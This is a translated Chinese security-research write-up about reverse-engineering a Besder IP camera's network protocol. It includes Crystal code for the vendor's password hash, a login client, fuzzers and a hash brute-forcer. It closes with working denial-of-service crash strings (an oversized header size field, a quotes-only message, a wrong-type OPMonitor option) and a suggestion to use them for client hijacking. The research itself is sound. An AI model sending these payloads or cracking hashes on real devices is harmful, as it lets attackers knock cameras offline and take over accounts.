这篇文章,我会对Besder IP20H1网络摄像头进行逆向分析和漏洞挖掘。
硬件方面,IP20H1有4个电线连接器,处理器仍然是一个HI3516,一种常见的IP摄像头SoC。
前期,我要做的就是捕获数据包,读取它们,之后再开始编写自己的客户端!但在此之前,我必须要做以下3件事:
1.获取所有端口号,源和目的地以及使用它们进行通信的人员的列表;
2.研究数据包的基本结构并弄清楚基本的格式;
3.查看客户端软件,以了解内部工作的线索。
逆向分析
逆向分析使用的应用程序是XMEye应用程序,XMEye是一款监控软件,配套ipc、Dvr等前端监控设备,通过设备的序列号以云方式登录,将实时的监控画面显示的Android移动设备上并对设备进行预览操作,这意味着摄像头内置了DDNS连接。我为在网络中编写规则以防止摄像头访问互联网感到非常高兴。
在获取的第一个数据包中,我发现了一个20字节的序列,由1个单字节0xFF,13个0x00、0xFA05和最后4个0x00组成。我将其称为发现广播数据包(Discovery Broadcast Packet ,DBP)。
另外,还有一个类似于0xFA05的标记,即0xFB05,可能是客户端,而0xFB05是摄像头。从该数据包中,我可以看到选择的格式是JSON。使用自定义协议将更加容易,因为它的反序列化工作很简单。
查看标头,我可以看到数据包含一个0x3E,它恰好是数据的确切大小,不含20字节的标头。无论是在GitHub上,还是在其他任何搜索引擎上,在搜索名称“ GetSafetyAbility”时,找不到任何东西。另外,该协议还从UDP切换为了TCP。
遍历其余数据包,可以看到TCP数据流部分,因此我设置了一个简单的Wireshark过滤器,将结果过滤得更有条理。我只需要TCP PSH数据包即可:
tcp.flags.push == 1
当我用谷歌来检索这个包中的一些字符串时,发现了一些有趣的信息。
在PasteBin中,有一些日志,查看其中的一些字符串可以获取一些有用的信息。首先,这是某种Android客户端,甚至可能是我已经安装的客户端,列出了它发送的JSON消息和一堆参数。
Gist尽管只是发送/接收数据包,没有什么太有趣的,但是文件中却包含着哈希密码。
Github里有最有趣的信息,它准确地描述了标头的制作方式。我关心的重要函数就是从sendSocketData开始的,它包含我真正关心的getSendDataInBinary函数调用。这将获取标头数据,并将其放入20字节缓冲区中,查看函数本身可以解释所有问题。
查看代码中用法的一个示例,可以看到所有字节实际上都是在Little Endian中排序的。
现在我知道secondInt实际上是SessionID!但是,通过查看fourthInt,我仍然不知道它是什么,但是它的值被硬编码到每个单独的命令中,所以我可以猜测,不管它是什么,它都与命令名或其他内容相关。然后,摄像头向客户端发送之前的命令的响应。
此时,客户端尝试登录设备,但是我已将默认密码更改为“password”,无论该密码是什么,它很可能是空白密码。之后的响应应该是“失败”,我可以看到下次登录尝试使用了不同的密码,并且实际上成功了。
我注意到,有趣的是,当身份验证失败时,报告说它是一个DVR,而在成功时则报告为IPC。但是到目前为止,关于是什么控制了SessionID字段的信息还很少。我可能需要解决这个问题。
获取哈希值
我最终也得到了一些密码,但是密码是经过哈希处理的,因此我需要找出制造商的方法。首先要注意的是,在其他捕获中,“密码”字段始终是相同的,这意味着可能我并非每次都在处理随机盐值。如果他们确实使用盐值,则必须将其硬编码到摄像头本身中,但这不太可能。这个哈希值真正奇怪的地方是,它是“MD5”,但哈希本身只有8个字节,而MD5有16个字节。这意味着存在某种哈希协议,但它是自定义的,并基于MD5构建。
进行了一番搜索后,我还是找不到关于此哈希格式的任何信息。在尝试过CyberChef和hash calculator等工具后,都没有成功。最后,还是在别人的帮助下找到了相关的信息。
最后,我使用了一些哈希系统的源代码来编写自己的Crystal哈希。
# Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py require "digest/md5" module Dahua def self.compress(bytes : Slice(UInt8)) : Bytes i = 0 j = 0 output = Bytes.new(8, 0) while i < bytes.size output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8 if output[j] < 10 output[j] += 48 elsif output[j] < 36 output[j] += 55 else output[j] += 61 end i = i+2 j = j+1 end output end def self.digest(password) md5_bytes = Digest::MD5.digest(password.encode("ascii")) compressed = compress(md5_bytes.to_slice) String.new(compressed) end
再根据我的一套方法,确定密码哈希。
"" = tlJwpbo6 "password" = mF95aD4o "abcdef" = vfMMASaj "123456" = nTBCS19C "asdfghjkl" = MajKjGGZ "000000000000000000000000" = lJ84MHiF
现在来做一些测试,看看是否可以跳过协议的某些部分!例如,开始的UDP跳可能是可跳过的,可以编写一个简单的程序尝试直接进入TCP端口34567。
require "./dahua_hash" require "json" require "socket" def make_login_header(json) "\xff\x01\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\xe8\x03#{String.new(Bytes[json.size])}\x00\x00\x00" end json_login = JSON.build do |json| json.object do json.field "EncryptType", "MD5" json.field "LoginType", "DVRIP-Xm030" json.field "UserName", "admin" json.field "PassWord", Dahua.digest("password") end end socket = TCPSocket.new("192.168.11.109", 34567) socket << (make_login_header(json_login) + json_login) reply = socket.gets socket.close if reply reply_parsed = JSON.parse reply[20...reply.size] if reply_parsed["Ret"] == 100 puts "SUCCESS!" exit end end puts "FAILURE!"
工作过程如下:
SUCCESS! [Done] exited with code=0 in 0.831 seconds
模糊测试
在处理源代码时,我需要进行某些类型的测试,以确定如何正确格式化数据。在此示例中,我可以登录到摄像头,然后发送命令,然后获得SessionID。
0 = 0x00000001 1 = 0x00000002 2 = 0x00000003 3 = 0x00000004 4 = 0x00000005 5 = 0x00000006 6 = 0x00000007 7 = 0x00000008 8 = 0x00000009 [Done] exited with code=0 in 1.025 seconds
由于SessionID就像一个简单的增量器,因此我可以轻松地编写自己的值。了解摄像头如何产生其SessionID字段。
让我尝试登录后发送另一个命令,我首先将尝试重播命令SessionID,然后尝试使用随机的SessionID重播命令。这将使我对有效的方法和无效的方法有更深入的了解。
对于此命令,我将使用SystemInfo,客户端使用它来获得一些设置和版本号的列表。但SessionID字段中的播放显示摄像头并不使用它。我尝试了0x00000007、0x11111117和其他几个随机数,它们似乎都可以工作!
Success! { "Name" : "SystemInfo", "Ret" : 100, "SessionID" : "0x11111117", "SystemInfo" : { "AlarmInChannel" : 1, "AlarmOutChannel" : 1, "AudioInChannel" : 1, "BuildTime" : "2018-08-29 09:00:36", "CombineSwitch" : 0, "DeviceModel" : "", "DeviceRunTime" : "0x00000FFA", "DeviceType" : 0, "DigChannel" : 0, "EncryptVersion" : "Unknown", "ExtraChannel" : 0, "HardWare" : "HI3516EV100_50H20L_S38", "HardWareVersion" : "Unknown", "SerialNo" : "41e6853ada5e9323", "SoftWareVersion" : "V4.02.R12.00035520.12012.047500.00200", "TalkInChannel" : 1, "TalkOutChannel" : 1, "UpdataTime" : "", "UpdataType" : "0x00000000", "VideoInChannel" : 1, "VideoOutChannel" : 1 } } [Done] exited with code=0 in 0.86 seconds
在20个字节的标头中还有几个我无法解读的值,所以我写了一个模糊器,看它们到底是什么。
Class that contains the basic process for making a message to/from the camera class XMMessage property type : UInt32 property session_id : UInt32 property unknown1 : UInt32 property unknown2 : UInt16 property magic : UInt16 property size : UInt32 property message : String #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something def self.from_s(string) io = IO::Memory.new string m = XMMessage.new m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian) m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian) m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian) m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian) m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian) m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian) m.message = string[20..string.size] m end def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = "") end def magic1 : UInt8 (magic & 0xFF).to_u8 end def magic2 : UInt8 (magic >> 8).to_u8 end def make_header header_io = IO::Memory.new header_io.write_bytes(type, IO::ByteFormat::LittleEndian) header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian) header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian) header_io.write_bytes(unknown2, IO::ByteFormat::LittleEndian) header_io.write_bytes(magic, IO::ByteFormat::LittleEndian) header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian) header_io.to_s end def make : String (make_header + self.message) end end
接下来,我制作了模糊器的主要部分,它将填充每个可能的字节值,等待响应,然后断开连接并循环。
关于这个工作的一些注意事项:
1.我要定位两个字节,第一个是magic1,然后是magic2。
2.模糊器本身必须具有极高的容错能力,因为使用它时会发生很多错误。
当我想运行它时,理想的结果如下:
class Command::SystemInfo < Command def initialize(@session_id = 0) super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json| json.object do json.field "Name", "SystemInfo" json.field "SessionID", "0x#{@session_id.to_s(16).rjust(8, '0')}" end end) end end File.open("logs/system_info.log", "w") do |file| Fuzzer.run( Command::SystemInfo.new(session_id: 0x11111117), magic2: (0x3..0x6), password: "password", output: file ) end
这将运行一段时间,最终产生结果,尽管结果准确,但速度太慢了!从0x3到0x8的单次扫描可能需要24小时。
幸运的是,我有一些想法可以使其更快。
在测试过程中,我注意到该协议的一个有趣之处,服务器(摄像头)允许对同一个IP地址开放任意数量的连接,只要它们都位于不同的端口上即可。这意味着如果我可以创建一个套接字组,就可以使用它们一次审核多个magic字段,每个magic字段都等待自己的响应,
你可以在GitHub上查看相关代码。
Fuzzing Command::SystemInfo Time: 00:29:14.794430000 Current: 4096/4097 : 1000 Total Completion: 99.976% Waiting for magics: 0x0ffc : unused : 15642636659266745398 : 00:00:00.394592000 0x0ffd : unused : 3995498554981886474 : 00:00:00.394431000 0x0ff1 : unused : 16849123052220723596 : 00:00:00.424488000 0x0ffe : unused : 15843022912141103538 : 00:00:00.385055000 0x0ff2 : unused : 666834066939202384 : 00:00:00.424001000 0x0ff3 : unused : 11959220922209025486 : 00:00:00.423846000 0x0ff4 : unused : 9858625403406765244 : 00:00:00.423865000 0x0ff5 : unused : 20212055150009910 : 00:00:00.423179000 0x0fff : unused : 15147142017989187717 : 00:00:00.384266000 0x0ff6 : unused : 16036212785124225768 : 00:00:00.423033000 0x0ff7 : unused : 3934626923425214118 : 00:00:00.423048000 0x0fef : unused : 784495433133620875 : 00:00:00.465630000 0x0ff0 : unused : 8924739629740135316 : 00:00:00.465648000 0x0ff8 : unused : 17166435733447359522 : 00:00:00.422446000 0x0ff9 : unused : 11108002682450497409 : 00:00:00.422467000 0x0ffa : unused : 11116907754345188397 : 00:00:00.421792000 0x0ffb : unused : 8156710575546691230 : 00:00:00.421819000 0x1000 : unused : 6252091348165092127 : 00:00:00.384556000 0x0fe9 : unused : 5183855669207984885 : 00:00:00.751042000 0x0fea : unused : 829040888724800310 : 00:00:00.750799000 Status Factory: done Last Check In: 2019-04-17 10:59:17 -07:00 Total Successes: 3983 Total Unique Replies: 49 Total Bad Results: 114 Error: Errors: {}
使用此方法,我们可以在30分钟内将0x0的空间模糊化为0x1000 !每个光纤都将使用其自己的套接字,发送消息,然后等待接收。如果超时,它将丢弃该消息并移至下一条消息。
如果摄像头由于某种原因而关闭,则对超时设置2分钟的宽限期,以等待摄像头尝试响应。这样可以确保所有设备被覆盖。因为如果确实出现故障,则必须有人重新启动摄像头。
最常见的响应是
"{ \"Name\" : \"SystemInfo\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"
大约有4000种魔法字段,不过这是一个登录失败数据包。有趣的是,如果未获得密码或用户名205,它将响应一个不同的错误代码。
"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10744252, \"Ret\" : 205, \"SessionID\" : \"0x0000000B\" }\n" Bytes: ["0x03e8"]
不管做什么,都会返回响应成功的消息,所以有必要找出其中的原因:
"{ \"Name\" : \"\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x03ea", "0x0410", "0x0416", "0x041a", "0x0578", "0x05e0", "0x05dc", "0x05de", "0x0670", "0x06ea", "0x0684", "0x0676", "0x07d2"]
这就是“保持活动状态”,只要它收到一个保持活动状态的数据包,就可以保持与摄像头的连接。
"{ \"Name\" : \"KeepAlive\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x03ee"]
经过一些非常标准的结果以及对SystemInfo的实际响应,我最终进入了一个有趣的领域,即对该协议进行深入分析。
"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x0582", "0x0585"] "{ \"Name\" : \"OPPlayBack\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x058c", "0x0591"] "{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x0590"] "{ \"Name\" : \"OPTalk\", \"Ret\" : 504, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x0596"] "{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x059a", "0x059b"] "{ \"Name\" : \"\", \"Ret\" : 119, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x05a0"] "{ \"Name\" : \"OPLogQuery\", \"OPLogQuery\" : null, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n" Bytes: ["0x05a2"] "{ \"Name\" : \"OPSCalendar\", \"OPSCalendar\" : { \"Mask\" : 0 }, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n" Bytes: ["0x05a6"] "{ \"Name\" : \"\", \"Ret\" : 109, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x05a8"] "{ \"Name\" : \"OPTimeQuery\", \"OPTimeQuery\" : \"2000-12-07 02:55:43\", \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n" Bytes: ["0x05ac"] "{ \"Name\" : \"\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x05b4", "0x0828"]
我们最初模糊的命令是“SystemInfo”,为什么返回的名称不同,比如OPSCalendar?这很有趣,这意味着不仅是magic field控制命令类型,这些命令中的一些并没有进行太多的错误检查,所以它们可以在以正确的方式运行时产生一些奇怪的结果。现在,我也有了新的命令名称来进行模糊处理。
"{ \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x05be"] "{ \"Ret\" : 100, \"SessionID\" : \"0x00000000\", \"Users\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Group\" : \"admin\", \"Memo\" : \"admin 's account\", \"Name\" : \"admin\", \"NoMD5\" : null, \"Password\" : \"mF95aD4o\", \"Reserved\" : true, \"Sharable\" : true }, { \"AuthorityList\" : [ \"Monitor_01\" ], \"Group\" : \"user\", \"Memo\" : \"default account\", \"Name\" : \"default\", \"NoMD5\" : null, \"Password\" : \"OxhlwSG8\", \"Reserved\" : false, \"Sharable\" : false } ] }\n" Bytes: ["0x05c0"] "{ \"Groups\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"administrator group\", \"Name\" : \"admin\" }, { \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x05c2"]
现在开始进行最核心的逆向分析了!
{ \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
我找到一个隐藏的用户帐户——“admin”帐户,仅具有一般权限。这个发现很重要!这是一个逆向分析的新办法。可能没有正确设置“权限列表”,这可能使我无需登录即可访问摄像头的功能。我还可以看到“admin”的完整权限列表,其中包括关机和升级权限。
BINARY FILE "{ \"command\" : \"sync\"," Bytes: ["0x0666"]
这个特别有趣,我的模糊器将其标记为“二进制文件”,因为它无法将其解析为JSON。似乎命令在发送过程中被切断了,也可能发生了一些有趣的事情(例如崩溃)。
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000" Bytes: ["0x0606"] BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004" Bytes: ["0x0608"] BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\"\u0018\u0000\u0000" Bytes: ["0x066c"]
我还获得了一些包含设置转储的zip文件,而有趣的是其中不包含我对摄像头尚不了解的任何内容。
BINARY FILE "\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF" Bytes: ["0x0618"]
0x0618为我提供了来自摄像头的图像,对后来的分析很有用。
总的来说,现在我已经对设备有了一些有趣的见解,及时我还没有模糊所有命令以及未经身份验证的用户帐户!
用户帐户“默认”最终会让我清楚地了解到发生了什么,由于它只有一般权限,所以它的大多数响应都没有多大意义。
Command results: Started at 2019-04-18 20:07:00 -07:00 Total time: 00:51:34.994305000 "{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10976316, \"Ret\" : 205, \"SessionID\" : \"0x000042C9\" }\n" Bytes: ["0x03e8"] "{ \"Name\" : \"\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x03f2", "0x080e"] "{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x0585"] "{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x0590"] "{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x059a"] "{ \"Name\" : \"GetSafetyAbility\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\", \"authorizeStat\" : null }\n" Bytes: ["0x0672"] "{ \"Name\" : \"OPRecordSnap\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x07fc"] "{ \"Name\" : \"\", \"Ret\" : 105, \"SessionID\" : \"0x00000000\" }\n" Bytes: ["0x0852"] "{ \"Name\" : \"\", \"Ret\" : 106, \"SessionID\" : \"0x000066E9\" }\n" Bytes: ["0x02ee", "0x0192", "0x00a7", "0x0e27", "0x0041", "0x01c1", "0x0032", "0x0fa6", "0x03f7", "0x0740", "0x0d85", "0x0c3e", "0x095d", "0x06ee", "0x02b7", "0x08ac", "0x0db9", "0x08d6", "0x00bb", "0x0b37", "0x0606", "0x0996", "0x0cfb", "0x0afa", "0x00ba", "0x0974", "0x0d51", "0x0906", "0x0f42", "0x05e2"]
用Radamsa进行模糊测试
Radamsa是一种基于fuzzer的通用变异形式。这款fuzzer适用于无经验的测试人员,因为它易于安装和使用,它可尝试根据输入结构的不同变化的引擎随机识别数据结构和变异。从我之前进行的行为模糊测试中,我知道默认情况下可以使用哪些命令,因此我应该对那些特定项目进行模糊测试,以查看是否会使它们行为异常。
File.open("./rsrc/op_monitor.txt", "w+") do |file| file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s end File.open("./logs/radamsa/op_monitor.log", "w+") do |file| puts "Testing connection" socket = MagicSocket.new("192.168.11.109", 34567) socket.login "default", Dahua.digest("tluafed") xmm = Command::OPMonitor.new socket.send_message xmm puts "SENT: #{xmm.message}" reply = socket.receive_message puts "GOT: #{reply.message}" 1000.times do |x| begin socket = MagicSocket.new("192.168.11.109", 34567) socket.login "default", Dahua.digest("tluafed") message = `radamsa ./rsrc/op_monitor.txt` file.puts "SENT: #{message.inspect}" socket.send message reply = socket.receive_message file.puts "GOT: #{reply.message.inspect}" rescue e : MagicError::SocketException puts "SOCKET DOWN! #{e.inspect}" raise e rescue e : MagicError::Exception file.puts "ERROR: #{e.inspect}" puts "ERROR: #{e.inspect}" rescue e file.puts "BAD ERROR: #{e.inspect}" puts "BAD ERROR: #{e.inspect}" end end end
我先向OPMonitor发出一条消息,然后将其输出到文件中,然后通过Radamsa发送该文件,然后将其模糊数据发送到摄像头。在大约100次左右的尝试后,最终找到了一种方法,可以在重新启动摄像头时中断客户端和摄像头服务器约120秒。此字符串通过ping,连接等方式关闭了摄像头,这意味着摄像头本身实际上已重新启动。
crash_string = "\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\"Name\":\"OPMonitor\",\"OPMonitor\",\"OPMonitor\":{\"Action\":\"Claim\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"NONE\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"NONE\",\"Stre amT\u000E\xFE\xFFype\":\"Main\",\"TransMode\":\"TCP\"}},\"SessionID\":\"4294967296xAbcdef256\"}" socket = MagicSocket.new("192.168.11.109", 34567) socket.login "default", Dahua.digest("tluafed") socket.send crash_string puts "SENT: #{crash_string.inspect}" reply = socket.receive_message puts "GOT: #{reply.message}"
此时,Radamsa已经帮助我找到了一个漏洞!
关于模糊测试的说明
我可以肯定地说,该协议的工作方式存在一些奇怪之处和矛盾之处,这对渗透测试来说往往是有益的。协议越陌生,就越有可能犯错误。
暴力破解密码
要找出纯文本密码,我必须进行暴力破解上述的哈希值。
require "./dahua_hash" module Brute def self.run(hash : String, start = "a") : String current = start counter = 0 success = false start_time = Time.now until success if Dahua.digest(current) == hash puts "SUCCESS!!!" success = true break end counter += 1 current = current.succ if counter % 1_000_000 == 0 puts " @ #{current} : #{Time.now - start_time}" elsif counter % 10_000 == 0 print '.' end end end_time = Time.now puts "Time: #{end_time - start_time}" puts "Result: #{current} : #{Dahua.digest(current)}" current end end
由于我知道“用户”帐户的详细信息,因此我要做的就是将其插入BAM!
Brute.run("OxhlwSG8")
大约16个小时后,我将得到字符串“tluafed”或“default”。
发现的拒绝服务攻击漏洞
在使用Radamsa的过程中,我发现了一个DoS,该DoS将通过无特权的用户帐户关闭我的摄像头。让我找出导致崩溃的确切原因!我会备份字符串,然后把它们拆分,直到运行崩溃。
我做的第一件事是删除数据包的“消息”部分,DoS仍然有效。之后,我开始删除标头的位,这也是错误的大小。我还更改了其中的值,以查看导致崩溃的原因和未导致崩溃的原因。我发现大小字段超过0x80000000会导致崩溃。
crash_string = "\xFF" + ("\x00"*13) + "\x85\x05" + "\x00\x00\x00\x80"
这表示很可能有人将带符号变量用于无符号整数,因为大小永远不能小于0,这可能会导致某种整数溢出漏洞,可能是因为程序正在尝试读入消息大小,它远远超出了预期,或者为负值,从而导致崩溃。
当前,该漏洞利用OPMonitor的魔法字段,但是这个漏洞应该会影响我们可以访问的任何命令,因为“login”命令是最不受保护的,它应该是下一个目标。
crash_string = "\xFF" + ("\x00"*13) + "\xe8\x03" + "\x00\x00\x00\x80" socket = MagicSocket.new("192.168.11.109", 34567) #socket.login "default", Dahua.digest("tluafed") socket.send crash_string puts "SENT: #{crash_string.inspect}" reply = socket.receive_message puts "GOT: #{reply.message}"
这将产生以下结果:
SENT: "\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80" Unhandled exception: (MagicError::ReceiveEOF) from src/magic_fuzzer/magic_socket.cr:0:7 in 'receive_message' from src/sandbox.cr:69:1 in '__crystal_main' from /usr/share/crystal/src/crystal/main.cr:97:5 in 'main_user_code' from /usr/share/crystal/src/crystal/main.cr:86:7 in 'main' from /usr/share/crystal/src/crystal/main.cr:106:3 in 'main' from __libc_start_main from _start from ???
ReceiveEOF证明套接字已关闭并且服务器已关闭。
摄像头将关闭约2分钟,同时在重新启动时仍会在短时间内响应ping。客户端在此重新引导期间无法连接,详细视频请点此。
通过进一步努力,在Radamsa的帮助下,我找到了两个新的漏洞,“消息引用”和“选项错误类型”漏洞。
消息引用DoS
这利用了JSON处理中的一些漏洞,当给定一条完全由两个引号组成的消息时,摄像头崩溃。
选项错误类型DoS
这利用了摄像头服务器处理JSON的另一个漏洞。该漏洞仅适用于特定的命令,OPTalk,OPMonitor和OPRecordSnap。发送这些命令时,可以选择在根目录下包含与选项相同名称的选项哈希。
{ "Name": "OPMonitor", "OPMonitor": { "Action": "Claim", "Action1": "Start", "Parameter": { "Channel": 0, "CombinMode": "NONE", "StreamType": "Main", "TransMode": "TCP" } }, "SessionID": "0x0000000007" }
在“ OPMonitor”项下,有一个哈希选项。服务器始终希望“ OPMonitor”项下的该选项始终是哈希选项。但是,我可以通过将哈希替换为非嵌套类型(例如字符串或数字)来使摄像头崩溃。例如,以下字符串就会使摄像头崩溃。
{ "Name": "OPMonitor", "OPMonitor": 0, "SessionID": "0x0000000007" }
客户端劫持
既然我在设备上有了攻击点,那就可以在对客户端进行攻击时使用这些DoS命令关闭摄像头,进行客户端劫持。
本文翻译自:http://blog.0x42424242.in/2019/04/besder-investigative-journey-part-1_24.html 与 http://blog.0x42424242.in/2019/05/besder-investigative-journey-part-2.html如若转载,请注明原文地址: https://www.4hou.com/web/21683.html